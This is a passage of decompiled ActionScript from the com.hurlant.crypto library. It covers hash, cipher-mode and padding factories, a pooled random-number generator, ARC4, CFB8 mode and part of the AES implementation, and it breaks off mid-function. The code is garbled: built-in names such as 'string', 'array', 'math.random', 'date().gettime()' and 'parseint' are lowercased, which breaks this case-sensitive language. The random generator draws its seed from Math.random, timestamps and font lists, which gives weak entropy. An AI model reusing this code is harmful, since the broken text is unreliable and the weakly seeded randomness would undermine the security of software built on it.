        public static function getHash(_arg1:string):IHash{

            switch (_arg1){

                case "md2":

                    return (new MD2());

                case "md5":

                    return (new MD5());

                case "sha":

                case "sha1":

                    return (new SHA1());

                case "sha224":

                    return (new SHA224());

                case "sha256":

                    return (new SHA256());

            };

            return (null);

        }

        public static function getRSA(_arg1:string, _arg2:string):RSAKey{

            return (RSAKey.parsePublicKey(_arg2, _arg1));

        }

        private static function getMode(_arg1:string, _arg2:ISymmetricKey, _arg3:IPad=null):IMode{

            switch (_arg1){

                case "ecb":

                    return (new ECBMode(_arg2, _arg3));

                case "cfb":

                    return (new CFBMode(_arg2, _arg3));

                case "cfb8":

                    return (new CFB8Mode(_arg2, _arg3));

                case "ofb":

                    return (new OFBMode(_arg2, _arg3));

                case "ctr":

                    return (new CTRMode(_arg2, _arg3));

                case "cbc":

                default:

                    return (new CBCMode(_arg2, _arg3));

            };

        }

        public static function getKeySize(_arg1:string):uint{

            var _local2:array;

            _local2 = _arg1.split("-");

            switch (_local2[0]){

                case "simple":

                    _local2.shift();

                    return (getKeySize(_local2.join("-")));

                case "aes128":

                    return (16);

                case "aes192":

                    return (24);

                case "aes256":

                    return (32);

                case "aes":

                    _local2.shift();

                    return ((parseint(_local2[0]) / 8));

                case "bf":

                case "blowfish":

                    return (16);

                case "des":

                    _local2.shift();

                    switch (_local2[0]){

                        case "ede":

                            return (16);

                        case "ede3":

                            return (24);

                        default:

                            return (8);

                    };

                case "3des":

                case "des3":

                    return (24);

                case "xtea":

                    return (8);

                case "rc4":

                    if (parseint(_local2[1]) > 0){

                        return ((parseint(_local2[1]) / 8));

                    };

                    return (16);

            };

            return (0);

        }

        public static function getPad(_arg1:string):IPad{

            switch (_arg1){

                case "null":

                    return (new NullPad());

                case "pkcs5":

                default:

                    return (new PKCS5());

            };

        }

        public static function getHMAC(_arg1:string):HMAC{

            var _local2:array;

            var _local3:uint;

            _local2 = _arg1.split("-");

            if (_local2[0] == "hmac"){

                _local2.shift();

            };

            _local3 = 0;

            if (_local2.length > 1){

                _local3 = parseint(_local2[1]);

            };

            return (new HMAC(getHash(_local2[0]), _local3));

        }



    }

}//package com.hurlant.crypto

&#65279;package com.hurlant.crypto.prng {

    import flash.utils.*;



    public interface IPRNG {



        function init(_arg1:ByteArray):void;

        function next():uint;

        function dispose():void;

        function getPoolSize():uint;

        function tostring():string;



    }

}//package com.hurlant.crypto.prng

&#65279;package com.hurlant.crypto.prng {

    import flash.utils.*;

    import com.hurlant.util.*;

    import flash.text.*;

    import flash.system.*;



    public class random {



        private var psize:int;

        private var ready:boolean = false;

        private var seeded:boolean = false;

        private var state:IPRNG;

        private var pool:ByteArray;

        private var pptr:int;



        public function random(_arg1:class=null){

            var _local2:uint;

            ready = false;

            seeded = false;

            super();

            if (_arg1 == null){

                _arg1 = ARC4;

            };

            state = (new (_arg1)() as IPRNG);

            psize = state.getPoolSize();

            pool = new ByteArray();

            pptr = 0;

            while (pptr < psize) {

                _local2 = (65536 * math.random());

                var _local3 = pptr++;

                pool[_local3] = (_local2 >>> 8);

                var _local4 = pptr++;

                pool[_local4] = (_local2 & 0xFF);

            };

            pptr = 0;

            seed();

        }

        public function seed(_arg1:int=0):void{

            if (_arg1 == 0){

                _arg1 = new date().gettime();

            };

            var _local2 = pptr++;

            pool[_local2] = (pool[_local2] ^ (_arg1 & 0xFF));

            var _local3 = pptr++;

            pool[_local3] = (pool[_local3] ^ ((_arg1 >> 8) & 0xFF));

            var _local4 = pptr++;

            pool[_local4] = (pool[_local4] ^ ((_arg1 >> 16) & 0xFF));

            var _local5 = pptr++;

            pool[_local5] = (pool[_local5] ^ ((_arg1 >> 24) & 0xFF));

            pptr = (pptr % psize);

            seeded = true;

        }

        public function tostring():string{

            return (("random-" + state.tostring()));

        }

        public function dispose():void{

            var _local1:uint;

            _local1 = 0;

            while (_local1 < pool.length) {

                pool[_local1] = (math.random() * 0x0100);

                _local1++;

            };

            pool.length = 0;

            pool = null;

            state.dispose();

            state = null;

            psize = 0;

            pptr = 0;

            Memory.gc();

        }

        public function autoSeed():void{

            var _local1:ByteArray;

            var _local2:array;

            var _local3:font;

            _local1 = new ByteArray();

            _local1.writeUnsignedInt(system.totalMemory);

            _local1.writeUTF(capabilities.serverstring);

            _local1.writeUnsignedInt(gettimer());

            _local1.writeUnsignedInt(new date().gettime());

            _local2 = font.enumerateFonts(true);

            for each (_local3 in _local2) {

                _local1.writeUTF(_local3.fontName);

                _local1.writeUTF(_local3.fontStyle);

                _local1.writeUTF(_local3.fontType);

            };

            _local1.position = 0;

            while (_local1.bytesAvailable >= 4) {

                seed(_local1.readUnsignedInt());

            };

        }

        public function nextByte():int{

            if (!ready){

                if (!seeded){

                    autoSeed();

                };

                state.init(pool);

                pool.length = 0;

                pptr = 0;

                ready = true;

            };

            return (state.next());

        }

        public function nextBytes(_arg1:ByteArray, _arg2:int):void{

            while (_arg2--) {

                _arg1.writeByte(nextByte());

            };

        }



    }

}//package com.hurlant.crypto.prng

&#65279;package com.hurlant.crypto.prng {

    import flash.utils.*;

    import com.hurlant.crypto.symmetric.*;

    import com.hurlant.util.*;



    public class ARC4 implements IPRNG, IStreamCipher {



        private const psize:uint = 0x0100;



        private var S:ByteArray;

        private var i:int = 0;

        private var j:int = 0;



        public function ARC4(_arg1:ByteArray=null){

            i = 0;

            j = 0;

            super();

            S = new ByteArray();

            if (_arg1){

                init(_arg1);

            };

        }

        public function decrypt(_arg1:ByteArray):void{

            encrypt(_arg1);

        }

        public function init(_arg1:ByteArray):void{

            var _local2:int;

            var _local3:int;

            var _local4:int;

            _local2 = 0;

            while (_local2 < 0x0100) {

                S[_local2] = _local2;

                _local2++;

            };

            _local3 = 0;

            _local2 = 0;

            while (_local2 < 0x0100) {

                _local3 = (((_local3 + S[_local2]) + _arg1[(_local2 % _arg1.length)]) & 0xFF);

                _local4 = S[_local2];

                S[_local2] = S[_local3];

                S[_local3] = _local4;

                _local2++;

            };

            this.i = 0;

            this.j = 0;

        }

        public function dispose():void{

            var _local1:uint;

            _local1 = 0;

            if (S != null){

                _local1 = 0;

                while (_local1 < S.length) {

                    S[_local1] = (math.random() * 0x0100);

                    _local1++;

                };

                S.length = 0;

                S = null;

            };

            this.i = 0;

            this.j = 0;

            Memory.gc();

        }

        public function encrypt(_arg1:ByteArray):void{

            var _local2:uint;

            _local2 = 0;

            while (_local2 < _arg1.length) {

                var _temp1 = _local2;

                _local2 = (_local2 + 1);

                var _local3 = _temp1;

                _arg1[_local3] = (_arg1[_local3] ^ next());

            };

        }

        public function next():uint{

            var _local1:int;

            i = ((i + 1) & 0xFF);

            j = ((j + S[i]) & 0xFF);

            _local1 = S[i];

            S[i] = S[j];

            S[j] = _local1;

            return (S[((_local1 + S[i]) & 0xFF)]);

        }

        public function getBlockSize():uint{

            return (1);

        }

        public function getPoolSize():uint{

            return (psize);

        }

        public function tostring():string{

            return ("rc4");

        }



    }

}//package com.hurlant.crypto.prng

&#65279;package com.hurlant.crypto.symmetric {

    import flash.utils.*;



    public class CFB8Mode extends IVMode implements IMode {



        public function CFB8Mode(_arg1:ISymmetricKey, _arg2:IPad=null){

            super(_arg1, null);

        }

        public function tostring():string{

            return ((key.tostring() + "-cfb8"));

        }

        public function decrypt(_arg1:ByteArray):void{

            var _local2:ByteArray;

            var _local3:ByteArray;

            var _local4:uint;

            var _local5:uint;

            var _local6:uint;

            _local2 = getIV4d();

            _local3 = new ByteArray();

            _local4 = 0;

            while (_local4 < _arg1.length) {

                _local5 = _arg1[_local4];

                _local3.position = 0;

                _local3.writeBytes(_local2);

                key.encrypt(_local2);

                _arg1[_local4] = (_arg1[_local4] ^ _local2[0]);

                _local6 = 0;

                while (_local6 < (blockSize - 1)) {

                    _local2[_local6] = _local3[(_local6 + 1)];

                    _local6++;

                };

                _local2[(blockSize - 1)] = _local5;

                _local4++;

            };

        }

        public function encrypt(_arg1:ByteArray):void{

            var _local2:ByteArray;

            var _local3:ByteArray;

            var _local4:uint;

            var _local5:uint;

            _local2 = getIV4e();

            _local3 = new ByteArray();

            _local4 = 0;

            while (_local4 < _arg1.length) {

                _local3.position = 0;

                _local3.writeBytes(_local2);

                key.encrypt(_local2);

                _arg1[_local4] = (_arg1[_local4] ^ _local2[0]);

                _local5 = 0;

                while (_local5 < (blockSize - 1)) {

                    _local2[_local5] = _local3[(_local5 + 1)];

                    _local5++;

                };

                _local2[(blockSize - 1)] = _arg1[_local4];

                _local4++;

            };

        }



    }

}//package com.hurlant.crypto.symmetric

&#65279;package com.hurlant.crypto.symmetric {

    import flash.utils.*;

    import com.hurlant.crypto.prng.*;

    import com.hurlant.util.*;



    public class AESKey implements ISymmetricKey {



        private static const _Xtime2:array = [0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36, 38, 40, 42, 44, 46, 48, 50, 52, 54, 56, 58, 60, 62, 64, 66, 68, 70, 72, 74, 76, 78, 80, 82, 84, 86, 88, 90, 92, 94, 96, 98, 100, 102, 104, 106, 108, 110, 112, 114, 116, 118, 120, 122, 124, 126, 128, 130, 132, 134, 136, 138, 140, 142, 144, 146, 148, 150, 152, 154, 156, 158, 160, 162, 164, 166, 168, 170, 172, 174, 176, 178, 180, 182, 184, 186, 188, 190, 192, 194, 196, 198, 200, 202, 204, 206, 208, 210, 212, 214, 216, 218, 220, 222, 224, 226, 228, 230, 232, 234, 236, 238, 240, 242, 244, 246, 248, 250, 252, 254, 27, 25, 31, 29, 19, 17, 23, 21, 11, 9, 15, 13, 3, 1, 7, 5, 59, 57, 63, 61, 51, 49, 55, 53, 43, 41, 47, 45, 35, 33, 39, 37, 91, 89, 95, 93, 83, 81, 87, 85, 75, 73, 79, 77, 67, 65, 71, 69, 123, 121, 127, 125, 115, 113, 119, 117, 107, 105, 111, 109, 99, 97, 103, 101, 155, 153, 159, 157, 147, 145, 151, 149, 139, 137, 143, 141, 131, 129, 135, 133, 187, 185, 191, 189, 179, 177, 183, 181, 171, 169, 175, 173, 163, 161, 167, 165, 219, 217, 223, 221, 211, 209, 215, 213, 203, 201, 207, 205, 195, 193, 199, 197, 251, 249, 0xFF, 253, 243, 241, 247, 245, 235, 233, 239, 237, 227, 225, 231, 229];

        private static const _Xtime9:array = [0, 9, 18, 27, 36, 45, 54, 63, 72, 65, 90, 83, 108, 101, 126, 119, 144, 153, 130, 139, 180, 189, 166, 175, 216, 209, 202, 195, 252, 245, 238, 231, 59, 50, 41, 32, 31, 22, 13, 4, 115, 122, 97, 104, 87, 94, 69, 76, 171, 162, 185, 176, 143, 134, 157, 148, 227, 234, 241, 248, 199, 206, 213, 220, 118, 127, 100, 109, 82, 91, 64, 73, 62, 55, 44, 37, 26, 19, 8, 1, 230, 239, 244, 253, 194, 203, 208, 217, 174, 167, 188, 181, 138, 131, 152, 145, 77, 68, 95, 86, 105, 96, 123, 114, 5, 12, 23, 30, 33, 40, 51, 58, 221, 212, 207, 198, 249, 240, 235, 226, 149, 156, 135, 142, 177, 184, 163, 170, 236, 229, 254, 247, 200, 193, 218, 211, 164, 173, 182, 191, 128, 137, 146, 155, 124, 117, 110, 103, 88, 81, 74, 67, 52, 61, 38, 47, 16, 25, 2, 11, 215, 222, 197, 204, 243, 250, 225, 232, 159, 150, 141, 132, 187, 178, 169, 160, 71, 78, 85, 92, 99, 106, 113, 120, 15, 6, 29, 20, 43, 34, 57, 48, 154, 147, 136, 129, 190, 183, 172, 165, 210, 219, 192, 201, 246, 0xFF, 228, 237, 10, 3, 24, 17, 46, 39, 60, 53, 66, 75, 80, 89, 102, 111, 116, 125, 161, 168, 179, 186, 133, 140, 151, 158, 233, 224, 251, 242, 205, 196, 223, 214, 49, 56, 35, 42, 21, 28, 7, 14, 121, 112, 107, 98, 93, 84, 79, 70];

        private static const Nb:uint = 4;

        private static const _XtimeB:array = [0, 11, 22, 29, 44, 39, 58, 49, 88, 83, 78, 69, 116, 127, 98, 105, 176, 187, 166, 173, 156, 151, 138, 129, 232, 227, 254, 245, 196, 207, 210, 217, 123, 112, 109, 102, 87, 92, 65, 74, 35, 40, 53, 62, 15, 4, 25, 18, 203, 192, 221, 214, 231, 236, 241, 250, 147, 152, 133, 142, 191, 180, 169, 162, 246, 253, 224, 235, 218, 209, 204, 199, 174, 165, 184, 179, 130, 137, 148, 159, 70, 77, 80, 91, 106, 97, 124, 119, 30, 21, 8, 3, 50, 57, 36, 47, 141, 134, 155, 144, 161, 170, 183, 188, 213, 222, 195, 200, 249, 242, 239, 228, 61, 54, 43, 32, 17, 26, 7, 12, 101, 110, 115, 120, 73, 66, 95, 84, 247, 252, 225, 234, 219, 208, 205, 198, 175, 164, 185, 178, 131, 136, 149, 158, 71, 76, 81, 90, 107, 96, 125, 118, 31, 20, 9, 2, 51, 56, 37, 46, 140, 135, 154, 145, 160, 171, 182, 189, 212, 223, 194, 201, 248, 243, 238, 229, 60, 55, 42, 33, 16, 27, 6, 13, 100, 111, 114, 121, 72, 67, 94, 85, 1, 10, 23, 28, 45, 38, 59, 48, 89, 82, 79, 68, 117, 126, 99, 104, 177, 186, 167, 172, 157, 150, 139, 128, 233, 226, 0xFF, 244, 197, 206, 211, 216, 122, 113, 108, 103, 86, 93, 64, 75, 34, 41, 52, 63, 14, 5, 24, 19, 202, 193, 220, 215, 230, 237, 240, 251, 146, 153, 132, 143, 190, 181, 168, 163];

        private static const _XtimeE:array = [0, 14, 28, 18, 56, 54, 36, 42, 112, 126, 108, 98, 72, 70, 84, 90, 224, 238, 252, 242, 216, 214, 196, 202, 144, 158, 140, 130, 168, 166, 180, 186, 219, 213, 199, 201, 227, 237, 0xFF, 241, 171, 165, 183, 185, 147, 157, 143, 129, 59, 53, 39, 41, 3, 13, 31, 17, 75, 69, 87, 89, 115, 125, 111, 97, 173, 163, 177, 191, 149, 155, 137, 135, 221, 211, 193, 207, 229, 235, 249, 247, 77, 67, 81, 95, 117, 123, 105, 103, 61, 51, 33, 47, 5, 11, 25, 23, 118, 120, 106, 100, 78, 64, 82, 92, 6, 8, 26, 20, 62, 48, 34, 44, 150, 152, 138, 132, 174, 160, 178, 188, 230, 232, 250, 244, 222, 208, 194, 204, 65, 79, 93, 83, 121, 119, 101, 107, 49, 63, 45, 35, 9, 7, 21, 27, 161, 175, 189, 179, 153, 151, 133, 139, 209, 223, 205, 195, 233, 231, 245, 251, 154, 148, 134, 136, 162, 172, 190, 176, 234, 228, 246, 248, 210, 220, 206, 192, 122, 116, 102, 104, 66, 76, 94, 80, 10, 4, 22, 24, 50, 60, 46, 32, 236, 226, 240, 254, 212, 218, 200, 198, 156, 146, 128, 142, 164, 170, 184, 182, 12, 2, 16, 30, 52, 58, 40, 38, 124, 114, 96, 110, 68, 74, 88, 86, 55, 57, 43, 37, 15, 1, 19, 29, 71, 73, 91, 85, 127, 113, 99, 109, 215, 217, 203, 197, 239, 225, 243, 253, 167, 169, 187, 181, 159, 145, 131, 141];

        private static const _Xtime2Sbox:array = [198, 248, 238, 246, 0xFF, 214, 222, 145, 96, 2, 206, 86, 231, 181, 77, 236, 143, 31, 137, 250, 239, 178, 142, 251, 65, 179, 95, 69, 35, 83, 228, 155, 117, 225, 61, 76, 108, 126, 245, 131, 104, 81, 209, 249, 226, 171, 98, 42, 8, 149, 70, 157, 48, 55, 10, 47, 14, 36, 27, 223, 205, 78, 127, 234, 18, 29, 88, 52, 54, 220, 180, 91, 164, 118, 183, 125, 82, 221, 94, 19, 166, 185, 0, 193, 64, 227, 121, 182, 212, 141, 103, 114, 148, 152, 176, 133, 187, 197, 79, 237, 134, 154, 102, 17, 138, 233, 4, 254, 160, 120, 37, 75, 162, 93, 128, 5, 63, 33, 112, 241, 99, 119, 175, 66, 32, 229, 253, 191, 129, 24, 38, 195, 190, 53, 136, 46, 147, 85, 252, 122, 200, 186, 50, 230, 192, 25, 158, 163, 68, 84, 59, 11, 140, 199, 107, 40, 167, 188, 22, 173, 219, 100, 116, 20, 146, 12, 72, 184, 159, 189, 67, 196, 57, 49, 211, 242, 213, 139, 110, 218, 1, 177, 156, 73, 216, 172, 243, 207, 202, 244, 71, 16, 111, 240, 74, 92, 56, 87, 115, 151, 203, 161, 232, 62, 150, 97, 13, 15, 224, 124, 113, 204, 144, 6, 247, 28, 194, 106, 174, 105, 23, 153, 58, 39, 217, 235, 43, 34, 210, 169, 7, 51, 45, 60, 21, 201, 135, 170, 80, 165, 3, 89, 9, 26, 101, 215, 132, 208, 130, 41, 90, 30, 123, 168, 109, 44];

        private static const _Xtime3Sbox:array = [165, 132, 153, 141, 13, 189, 177, 84, 80, 3, 169, 125, 25, 98, 230, 154, 69, 157, 64, 135, 21, 235, 201, 11, 236, 103, 253, 234, 191, 247, 150, 91, 194, 28, 174, 106, 90, 65, 2, 79, 92, 244, 52, 8, 147, 115, 83, 63, 12, 82, 101, 94, 40, 161, 15, 181, 9, 54, 155, 61, 38, 105, 205, 159, 27, 158, 116, 46, 45, 178, 238, 251, 246, 77, 97, 206, 123, 62, 113, 151, 245, 104, 0, 44, 96, 31, 200, 237, 190, 70, 217, 75, 222, 212, 232, 74, 107, 42, 229, 22, 197, 215, 85, 148, 207, 16, 6, 129, 240, 68, 186, 227, 243, 254, 192, 138, 173, 188, 72, 4, 223, 193, 117, 99, 48, 26, 14, 109, 76, 20, 53, 47, 225, 162, 204, 57, 87, 242, 130, 71, 172, 231, 43, 149, 160, 152, 209, 127, 102, 126, 171, 131, 202, 41, 211, 60, 121, 226, 29, 118, 59, 86, 78, 30, 219, 10, 108, 228, 93, 110, 239, 166, 168, 164, 55, 139, 50, 67, 89, 183, 140, 100, 210, 224, 180, 250, 7, 37, 175, 142, 233, 24, 213, 136, 111, 114, 36, 241, 199, 81, 35, 124, 156, 33, 221, 220, 134, 133, 144, 66, 196, 170, 216, 5, 1, 18, 163, 95, 249, 208, 145, 88, 39, 185, 56, 19, 179, 51, 187, 112, 137, 167, 182, 34, 146, 32, 73, 0xFF, 120, 122, 143, 248, 128, 23, 218, 49, 198, 184, 195, 176, 119, 17, 203, 252, 214, 58];

        private static const _InvSbox:array = [82, 9, 106, 213, 48, 54, 165, 56, 191, 64, 163, 158, 129, 243, 215, 251, 124, 227, 57, 130, 155, 47, 0xFF, 135, 52, 142, 67, 68, 196, 222, 233, 203, 84, 123, 148, 50, 166, 194, 35, 61, 238, 76, 149, 11, 66, 250, 195, 78, 8, 46, 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, 109, 139, 209, 37, 114, 248, 246, 100, 134, 104, 152, 22, 212, 164, 92, 204, 93, 101, 182, 146, 108, 112, 72, 80, 253, 237, 185, 218, 94, 21, 70, 87, 167, 141, 157, 132, 144, 216, 171, 0, 140, 188, 211, 10, 247, 228, 88, 5, 184, 179, 69, 6, 208, 44, 30, 143, 202, 63, 15, 2, 193, 175, 189, 3, 1, 19, 138, 107, 58, 145, 17, 65, 79, 103, 220, 234, 151, 242, 207, 206, 240, 180, 230, 115, 150, 172, 116, 34, 231, 173, 53, 133, 226, 249, 55, 232, 28, 117, 223, 110, 71, 241, 26, 113, 29, 41, 197, 137, 111, 183, 98, 14, 170, 24, 190, 27, 252, 86, 62, 75, 198, 210, 121, 32, 154, 219, 192, 254, 120, 205, 90, 244, 31, 221, 168, 51, 136, 7, 199, 49, 177, 18, 16, 89, 39, 128, 236, 95, 96, 81, 127, 169, 25, 181, 74, 13, 45, 229, 122, 159, 147, 201, 156, 239, 160, 224, 59, 77, 174, 42, 245, 176, 200, 235, 187, 60, 131, 83, 153, 97, 23, 43, 4, 126, 186, 119, 214, 38, 225, 105, 20, 99, 85, 33, 12, 125];

        private static const _XtimeD:array = [0, 13, 26, 23, 52, 57, 46, 35, 104, 101, 114, 127, 92, 81, 70, 75, 208, 221, 202, 199, 228, 233, 254, 243, 184, 181, 162, 175, 140, 129, 150, 155, 187, 182, 161, 172, 143, 130, 149, 152, 211, 222, 201, 196, 231, 234, 253, 240, 107, 102, 113, 124, 95, 82, 69, 72, 3, 14, 25, 20, 55, 58, 45, 32, 109, 96, 119, 122, 89, 84, 67, 78, 5, 8, 31, 18, 49, 60, 43, 38, 189, 176, 167, 170, 137, 132, 147, 158, 213, 216, 207, 194, 225, 236, 251, 246, 214, 219, 204, 193, 226, 239, 248, 245, 190, 179, 164, 169, 138, 135, 144, 157, 6, 11, 28, 17, 50, 63, 40, 37, 110, 99, 116, 121, 90, 87, 64, 77, 218, 215, 192, 205, 238, 227, 244, 249, 178, 191, 168, 165, 134, 139, 156, 145, 10, 7, 16, 29, 62, 51, 36, 41, 98, 111, 120, 117, 86, 91, 76, 65, 97, 108, 123, 118, 85, 88, 79, 66, 9, 4, 19, 30, 61, 48, 39, 42, 177, 188, 171, 166, 133, 136, 159, 146, 217, 212, 195, 206, 237, 224, 247, 250, 183, 186, 173, 160, 131, 142, 153, 148, 223, 210, 197, 200, 235, 230, 241, 252, 103, 106, 125, 112, 83, 94, 73, 68, 15, 2, 21, 24, 59, 54, 33, 44, 12, 1, 22, 27, 56, 53, 34, 47, 100, 105, 126, 115, 80, 93, 74, 71, 220, 209, 198, 203, 232, 229, 242, 0xFF, 180, 185, 174, 163, 128, 141, 154, 151];

        private static const _Sbox:array = [99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 0xFF, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22];



        private static var XtimeE:ByteArray = new ByteArray();

        private static var i:uint = 0;

        private static var Xtime2Sbox:ByteArray = new ByteArray();

        private static var Xtime3Sbox:ByteArray = new ByteArray();

        private static var _Rcon:array = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54];

        private static var Sbox:ByteArray = new ByteArray();

        private static var Rcon:ByteArray = new ByteArray();

        private static var InvSbox:ByteArray = new ByteArray();

        private static var Xtime2:ByteArray = new ByteArray();

        private static var Xtime9:ByteArray = new ByteArray();

        private static var XtimeB:ByteArray = new ByteArray();

        private static var XtimeD:ByteArray = new ByteArray();



        private var state:ByteArray;

        private var tmp:ByteArray;

        private var Nr:uint;

        private var keyLength:uint;

        private var key:ByteArray;



        public function AESKey(_arg1:ByteArray){

            tmp = new ByteArray();

            state = new ByteArray();

            keyLength = _arg1.length;

            this.key = new ByteArray();

            this.key.writeBytes(_arg1);

            expandKey();

        }

        public function tostring():string{

            return (("aes" + (8 * keyLength)));

        }

        public function decrypt(_arg1:ByteArray, _arg2:uint=0):void{

            var _local3:uint;

            state.position = 0;

            state.writeBytes(_arg1, _arg2, (Nb * 4));

            addRoundKey(key, ((Nr * Nb) * 4));

            invShiftRows();

            _local3 = Nr;

            while (_local3--) {

                addRoundKey(key, ((_local3 * Nb) * 4));

                if (_local3){

                    invMixSubColumns();

                };

            };

            _arg1.position = _arg2;

            _arg1.writeBytes(state);

        }

        protected function invShiftRows():void{

            var _local1:uint;

            state[0] = InvSbox[state[0]];

            state[4] = InvSbox[state[4]];

            state[8] = InvSbox[state[8]];

            state[12] = InvSbox[state[12]];

            _local1 = InvSbox[state[13]];

            state[13] = InvSbox[state[9]];

            state[9] = InvSbox[state[5]];

            state[5] = InvSbox[state[1]];

            state[1] = _local1;

            _local1 = InvSbox[state[2]];

            state[2] = InvSbox[state[10]];

            state[10] = _local1;

            _local1 = InvSbox[state[6]];

            state[6] = InvSbox[state[14]];

            state[14] = _local1;

            _local1 = InvSbox[state[3]];

            state[3] = InvSbox[state[7]];

            state[7] = InvSbox[state[11]];

            state[11] = InvSbox[state[15]];

            state[15] = _local1;

        }

        public function dispose():void{

            var _local1:uint;

            var _local2:random;

            _local2 = new random();

            _local1 = 0;

            while (_local1 < key.length) {

                key[_local1] = _local2.nextByte();

                _local1++;

            };

            Nr = _local2.nextByte();

            _local1 = 0;

            while (_local1 < state.length) {

                state[_local1] = _local2.nextByte();

                _local1++;

            };

            _local1 = 0;

            while (_local1 < tmp.length) {

                tmp[_local1] = _local2.nextByte();

                _local1++;

            };

            key.length = 0;

            keyLength = 0;

            state.length = 0;

            tmp.length = 0;

            key = null;

            state = null;

            tmp = null;

            Nr = 0;

            Memory.gc();

        }

        protected function invMixSubColumns():void{

            var _local1:uint;

            tmp.length = 0;

            tmp[0] = (((XtimeE[state[0]] ^ XtimeB[state[1]]) ^ XtimeD[state[2]]) ^ Xtime9[state[3]]);

            tmp[5] = (((Xtime9[state[0]] ^ XtimeE[state[1]]) ^ XtimeB[state[2]]) ^ XtimeD[state[3]]);

            tmp[10] = (((XtimeD[state[0]] ^ Xtime9[state[1]]) ^ XtimeE[state[2]]) ^ XtimeB[state[3]]);

            tmp[15] = (((XtimeB[state[0]] ^ XtimeD[state[1]]) ^ Xtime9[state[2]]) ^ XtimeE[state[3]]);

            tmp[4] = (((XtimeE[state[4]] ^ XtimeB[state[5]]) ^ XtimeD[state[6]]) ^ Xtime9[state[7]]);

            tmp[9] = (((Xtime9[state[4]] ^ XtimeE[state[5]]) ^ XtimeB[state[6]]) ^ XtimeD[state[7]]);

            tmp[14] = (((XtimeD[state[4]] ^ Xtime9[state[5]]) ^ XtimeE[state[6]]) ^ XtimeB[state[7]]);

            tmp[3] = (((XtimeB[state[4]] ^ XtimeD[state[5]]) ^ Xtime9[state[6]]) ^ XtimeE[state[7]]);

            tmp[8] = (((XtimeE[state[8]] ^ XtimeB[state[9]]) ^ XtimeD[state[10]]) ^ Xtime9[state[11]]);

            tmp[13] = (((Xtime9[state[8]] ^ XtimeE[state[9]]) ^ XtimeB[state[10]]) ^ XtimeD[state[11]]);

            tmp[2] = (((XtimeD[state[8]] ^ Xtime9[state[9]]) ^ XtimeE[state[10]]) ^ XtimeB[state[11]]);

            tmp[7] = (((XtimeB[state[8]] ^ XtimeD[state[9]]) ^ Xtime9[state[10]]) ^ XtimeE[state[11]]);

            tmp[12] = (((XtimeE[state[12]] ^ XtimeB[state[13]]) ^ XtimeD[state[14]]) ^ Xtime9[state[15]]);

            tmp[1] = (((Xtime9[state[12]] ^ XtimeE[state[13]]) ^ XtimeB[state[14]]) ^ XtimeD[state[15]]);

            tmp[6] = (((XtimeD[state[12]] ^ Xtime9[state[13]]) ^ XtimeE[state[14]]) ^ XtimeB[state[15]]);

            tmp[11] = (((XtimeB[state[12]] ^ XtimeD[state[13]]) ^ Xtime9[state[14]]) ^ XtimeE[state[15]]);

            _local1 = 0;

            while (_local1 < (4 * Nb)) {

                state[_local1] = InvSbox[tmp[_local1]];

                _local1++;

            };

        }

        private function expandKey():void{

            var _local1:uint;

            var _local2:uint;

            var _local3:uint;

            var _local4:uint;

            var _local5:uint;

            var _local6:uint;

            var _local7:uint;

            _local7 = (key.length / 4);

            Nr = (_local7 + 6);

            _local6 = _local7;

            while (_local6 < (Nb * (Nr + 1))) {

                _local1 = key[((4 * _local6) - 4)];

                _local2 = key[((4 * _local6) - 3)];

                _local3 = key[((4 * _local6) - 2)];

                _local4 = key[((4 * _local6) - 1)];

                if (!(_local6 % _local7)){

                    _local5 = _local4;

                    _local4 = Sbox[_local1];

                    _local1 = (Sbox[_local2] ^ Rcon[(_local6 / _local7)]);

                    _local2 = Sbox[_local3];

                    _local3 = Sbox[_local5];

                } else {

                    if ((((_local7 > 6)) && (((_local6 % _local7) == 4)))){

                        _local1 = Sbox[_local1];

                        _local2 = Sbox[_local2];

                        _local3 = Sbox[_local3];

                        _local4 = Sbox[_local4];

                    };

                };

                key[((4 * _local6) + 0)] = (key[(((4 * _local6) - (4 * _local7)) + 0)] ^ _local1);

                key[((4 * _local6) + 1)] = (key[(((4 * _local6) - (4 * _local7)) + 1)] ^ _local2);

                key[((4 * _local6) + 2)] = (key[(((4 * _local6) - (4 * _local7)) + 2)] ^ _local3);

                key[((4 * _local6) + 3)] = (key[(((4 * _local6) - (4 * _local7)) + 3)] ^ _local4);

                _local6++;

            };

        }

        protected function addRoundKey(_arg1:ByteArray, _arg2:uint):void{

            var _local3:uint;

            _local3 = 0;

            while (_local3 < 16) {

                state[_local3] = (state[_local3] ^ _arg1[(_local3 + _arg2)]);

                _local3++;

            };

        }

        public function encrypt(_arg1:ByteArray, _arg2:uint=0):void{

            var _local3:uint;

            state.position = 0;

            state.writeBytes(_arg1, _arg2, (Nb * 4));

            addRoundKey(key, 0);

            _local3 = 1;

            while (_local3 < (Nr + 1)) {

                if (_local3 < Nr){

                    mixSubColumns();

                } else {

                    shiftRows();

                };

                addRoundKey(key, ((_local3 * Nb) * 4));

